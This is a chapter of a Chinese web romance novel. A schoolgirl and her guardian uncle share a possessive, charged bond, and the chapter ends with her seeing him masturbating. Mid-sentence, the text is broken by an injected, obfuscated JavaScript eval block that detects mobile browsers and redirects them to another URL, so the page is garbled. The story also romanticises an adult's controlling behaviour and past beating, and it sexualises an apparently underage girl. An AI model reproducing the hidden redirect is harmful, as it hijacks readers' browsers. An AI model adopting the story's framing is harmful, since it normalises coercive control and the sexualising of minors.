16. 洗澡
作品:《小叔他不对劲》 曾轩的笑容僵了僵,眼底的阴鸷一闪而过,他故作坚强地笑了笑,脸上满是毫不掩饰的失落,有些委屈的同时又假装洒脱:“好吧殊姐,但是我会一直喜欢你的。”
“不过殊姐你放心,我绝对不会给你造成任何困扰。”
林念殊点了点头,从他身边绕了过去,没太把这个无关紧要的小插曲放在心上。
她刚往前走了两步,抬眼就看到周云砚站在车旁,目光沉沉地盯着她,不知看了多久。
林念殊脚步一顿,随后快步走了过去,脑海中快速回忆着刚才曾轩和她有没有什么过分的亲密接触,被小叔误会了就完蛋了。
校门口的人流量大,她不方便跑得太快,往常几步远的距离,也不知道是不是她太过心急,居然感到有些漫长和遥不可及。
好不容易上了车,她还没来得及扣安全带,双手就搭上他的胳膊晃了晃,软着声音解释:“小叔,他就是那天给我打电话的人,我不小心撞到他了,他说请我吃饭,我给拒绝了,我还告诉他我不喜欢他,我们没有可能。”
“我没有早恋!”她收回晃他胳膊的手,右手放在鬓边做了个发誓的手势。
周云砚眼中的阴云这才消散些许:“嗯。”
他瞥了一眼身侧如临大敌的人,握着方向盘的手紧了紧,心中涌现出一股异样的感情,不知是不是男人的掌控欲在作祟,他非常讨厌她的身边出现别的异性。
准确来说,他作为她的管教者,他不喜欢她身上有任何超脱出他控制范围之外的事情发生。
林念殊一直紧张地观察着他的神色,看他真的没在生气后才松了口气,她心不在焉地扣上安全带,不知道为什么,她总觉得小叔有些怪怪的,但她从他的表情上又看不出别的什么。
不过她也不是会揪住这些细节不放的人,想不通那就不想了,总之小叔不生她的气就好,她用食指摩挲着下巴,专注思考起待会要吃什么。
“我定了餐厅。”周云砚看了她一眼,就知道她在琢磨什么,于是淡声开口。
林念殊眼睛一亮,这句话简直是选择困难症的救星,她点了点头,哼着小调低下头玩起了手机。
【亲亲小晴宝贝:啥情况?我刚看到你和曾轩在说话?你什么时候和他认识了?】
【林:?】
林念殊满脑子问号,什么跟什么,就算她跟曾轩真的认识又有什么大惊小怪的?当时在宴会上曾轩也在,这大小姐又不是不知道。
【亲亲小晴宝贝:哎哟,我没别的意思啦,我就是告诉你,曾轩这个人不简单,我看他好像对你有意思,你注意一下啦。】
【林:嗯。】
【亲亲小晴宝贝:你是被你小叔附体了吗?怎么这么冷漠。】
林念殊看见消息脑补了一下姜文晴的语气,笑出了声,随即她又反应过来,小小维护了一下周云砚的形象。
【林:我小叔还好吧,挺温柔的。】
【亲亲小晴宝贝:?】
【亲亲小晴宝贝:你被上身了?】
林念殊把手机丢到一边,目光落到男人的侧脸之上,正午的阳光映射着大地,车窗将光线尽数阻拦,但还是有一两缕阳光调皮地溜到了他的脸上,显得他棱角分明的侧脸都柔和了几分。
周云砚虽说外表冷淡又严肃,气场强大生人勿近,看起来确实十分唬人,但是实际上他极其擅长观察别人的情绪,好像一切都瞒不过他,他总是会用自己的方式抚平她的不安和焦虑。
恰似一场润物细无声的冬雨。
这怎么不算温柔呢?
她成功给自己洗脑,无比坦然接受了接受了小叔很温柔这个设定,完全忘记了是谁把她揍得哭天喊地,是谁一个眼神就能把她吓得胆战心惊。
餐厅就在不远处,她跟着周云砚下了车,服务员直接把他们引到了三楼贵宾包厢,后面是经理全程陪同服务。
林念殊乐滋滋地享受着美食,时不时给“温柔”的小叔夹几筷子肉,等她快吃完时,才猛然想起来,周云砚似乎有轻微洁癖来着,应该不会吃她私筷夹的东西。
她瞟了一眼他身前的小餐盘,里面干干净净,居然什么也没有。
咦?
林念殊又夹了一块眼前的果切,眨了眨眼有些疑惑,难道是她记错了?不应该啊?
她挑了挑眉,唇角不自觉勾起,一个坏点子灵光乍现,她先是用脚假装不小心碰到他的腿,成功把他的目光吸引过来后,在他的眼皮子底下故意舔了舔筷子。
然后笑着用她刚舔过的筷子给他的餐盘里夹了一颗草莓,随后若无其事地继续吃起了别的东西,用余光一直观察着他的动作和神情。
只见他非常自然地把那颗草莓吃掉,甚至没有任何迟疑,神色没有任何变化,仿佛是一件再正常不过的事情。
林念殊的恶作剧没有得逞,没有看到她想看的反应,撇了撇嘴,感到有些无趣,又随意吃了几口就戳了戳他的胳膊,也不管他有没有吃好,直接懒洋洋下达了指令:“我吃好了,走嘛。”
“嗯,好。”周云砚擦拭过手和嘴后看向靠在他胳膊上的人,拍了拍她毛茸茸有些炸毛的脑袋:“走了。”
林念殊恹恹地坐直站起来就要往前走。
胳膊被一只大手稳稳拽住,她被迫停了下来,由于惯性还往后仰了仰。
她站稳后撅着嘴回头抱怨:“怎么啦?干什么又不走?”
两根温热的手指隔着一张薄薄的纸巾在她的唇瓣上来回摩擦,力道有点重,以至于纸巾和手指离开时,唇角处还留有轻微的痒意。
林念殊意识到是自己只顾着逗他,忘记擦嘴了,尴尬和一股小女生的别扭情绪涌上心头,化作了一片彩霞晕染在脸颊之上。
她单手握成拳抵着唇轻咳一声,半垂着头眼神四处乱瞟,脚下踱着小碎步,故作镇定开口:“谢谢小叔、那什么,快回家吧!”
一声闷笑从头顶传来,林念殊脸上的彩霞更加绚丽了。
她眼尾上挑,有些恼羞成怒地回头瞪了他一眼,轻哼一声,兀自大踏步向前走了。
时间还早,现在回家的话,还能休息一会再去上学。
林念殊调了调座椅位置,双手搭在小腹上安详地闭上眼睛酝酿睡意,这样等待会到家之后,就可以直接进入深度睡眠了。
随后,半梦半醒间她感受到身体好像突然变得轻盈无比,和在云端之上的感觉一样,浑身暖洋洋的,她蜷缩了一下,找了个更为舒适的姿势继续入睡。
周云砚随着怀中人的动作,气息乱了一瞬,双手不禁收紧了几分,眼神先是轻轻落到那张白皙的脸颊之上,就看到她浓密的睫毛颤了颤,收起了利爪的小猫在睡时显得异常乖巧。
他的眼神微沉,漆黑的瞳孔深不见底,像是一汪墨色的深潭,表面平静无波,实则暗潮涌动,只待涉世未深的小猫误入其中后,再无翻身的可能。
**
林念殊皱着眉把响个不停的闹铃关掉,还没完全从睡觉状态中脱离的她拉了拉被子,翻了个身想要继续接着睡。
正当她再次陷入深眠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138340|196106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时,心里的那根弦忽地绷紧,她猛然惊醒过来。
她实在是太低估自己的睡眠质量了,居然连什么时候从车上下来的都完全没有印象,直接睡得不省人事。
随后,她一个鲤鱼打挺从被窝里跳起来,双手抓了把头发简单捋了捋,成功把炸毛的头发变得更加凌乱,紧接着她快速褪下睡衣,慌忙之中还扣错了衣领扣子,直到脖子被卡住有些喘不上气才反应过来。
“啧。”
林念殊深吸一口气,耐着性子先是把扣子正好,随后又快步去洗手间洗漱,一切准备就绪之后,她才伸手捞过枕头下面的手机,看了眼时间,两点十分整。
非常完美。
她神清气爽地拉开房门,目光径直看向客厅沙发之上,她身形一顿,有些诧异地眨了眨眼,那里依旧空空如也。
?
“小叔?”
林念殊试探性喊了一声,偌大的客厅内落针可闻,只回荡着她的呼喊和略显粗重的呼吸声,毫无疑问家里只有她一个人。
她一边往外走一边从口袋里掏出手机查看消息——
【全世界最喜欢的人:临时有事,李叔会送你。】
林念殊抿了抿唇,这几天她已经习惯了他的接送,现下他乍然“不告而别”,她心里有些不舒服,于是假装没看到,没有回他的消息。
李叔很健谈,看出了她闷闷不乐,一路上都在想方设法逗她高兴,临走时还给她塞了一块巧克力。
她攥了攥手指,垂眸看着掌心的巧克力,又感觉自己被周云砚惯得太过矫情,不就是没有送她,一件很普通正常不过的事情,为什么要不高兴。
“念殊?”
“念殊,你怎么了?”
林念殊回过神,就对上了蒋妍妍担忧的目光,她摇了摇头,低头在试卷上的最后一题处写了个解:“没事。”
她用力划着试卷,每一笔都留下深深的笔痕,好似跟这道题有深仇大恨。
好在下课铃声很快将试卷拯救了下来,林念殊把笔重重摔在桌子上,一阵风似的跑出了教室。
她看到那辆熟悉的车后,迫不及待地拉开了车门,兴师问罪的话卡在了喉咙里,李叔慈祥一笑:“放学啦,今天在学校开心吗?”
“李叔好呀,开心,非常开心呢,同学都很好。”林念殊扬了扬唇,自然地接话,表面看毫无异样,实则心中的柠檬已然榨成了汁,酸涩一片。
她凭借着本能和李叔聊着天,最后和李叔分别后的瞬间,她的笑容消失得无影无踪,兴致缺缺地回到了家。
“小叔?”林念殊一边换鞋,一边扬声喊着,可直到她换好了鞋,屋内依旧没有任何回响。
她皱了皱眉,纠结再三,还是决定先洗澡再给他打电话问问是什么情况。
可屋漏偏逢连夜雨,她那屋里的淋浴头不知出了什么故障,怎么也不出水,林念殊扬了扬眉,暗自腹诽,这总裁家的设备也不怎么滴嘛。
她裹上浴巾,脱都脱了肯定要洗的。
于是,她轻车熟路地推开周云砚卧室的门,在拐了个弯后十分自然地打开了他的淋浴间的门。
率先映入眼帘的是浓重的水汽,伴随着淅淅沥沥的水声,而白雾蒙蒙之下一副精壮的身躯若隐若现,但那布满青筋的手背和精神昂扬的物件却异常乍眼。
林念殊瞪大眼睛,浑身血液倒流,手脚僵硬地不知该如何是好,时间好似在这一刻无限拉长,眼里只剩下那糜乱的景象。
小叔他………
在自//慰?!

